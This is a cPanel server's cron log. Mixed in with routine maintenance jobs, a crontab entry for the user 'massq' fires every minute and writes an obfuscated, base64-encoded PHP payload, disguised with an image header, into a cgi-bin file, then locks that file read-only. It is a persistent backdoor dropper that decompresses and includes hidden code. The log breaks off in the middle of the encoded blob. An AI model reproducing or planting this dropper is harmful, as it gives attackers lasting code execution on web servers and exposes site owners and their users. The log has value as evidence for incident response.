Sep  3 08:29:01 server CROND[27732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:29:01 server CROND[27733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:29:01 server CROND[27735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:30:01 server CROND[28103]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 08:30:01 server CROND[28109]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 08:30:01 server CROND[28116]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 08:30:01 server CROND[28113]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 08:30:01 server CROND[28114]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 08:30:01 server CROND[28119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:30:01 server CROND[28122]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:30:01 server CROND[28115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:30:01 server CROND[28117]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  3 08:31:01 server CROND[28968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:31:01 server CROND[28969]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:31:01 server CROND[28970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:32:01 server CROND[29335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:32:01 server CROND[29336]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:32:01 server CROND[29338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:33:02 server CROND[29801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:33:02 server CROND[29802]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:33:02 server CROND[29803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:34:01 server CROND[30180]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:34:01 server CROND[30182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:34:01 server CROND[30181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:35:01 server CROND[30561]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 08:35:01 server CROND[30563]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 08:35:01 server CROND[30564]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:35:01 server CROND[30566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:35:01 server CROND[30571]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 08:35:01 server CROND[30567]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 08:35:01 server CROND[30572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:35:01 server CROND[30573]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 08:35:01 server CROND[30574]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 08:36:01 server CROND[31407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:36:01 server CROND[31408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:36:01 server CROND[31409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:37:01 server CROND[31802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:37:01 server CROND[31803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:37:01 server CROND[31804]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:38:01 server CROND[32272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:38:01 server CROND[32273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:38:01 server CROND[32274]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:39:01 server CROND[32671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:39:01 server CROND[32670]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 08:39:01 server CROND[32672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:39:01 server CROND[32680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:40:01 server CROND[638]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 08:40:01 server CROND[644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:40:01 server CROND[646]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 08:40:01 server CROND[653]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:40:01 server CROND[652]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 08:40:01 server CROND[658]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 08:40:01 server CROND[648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBd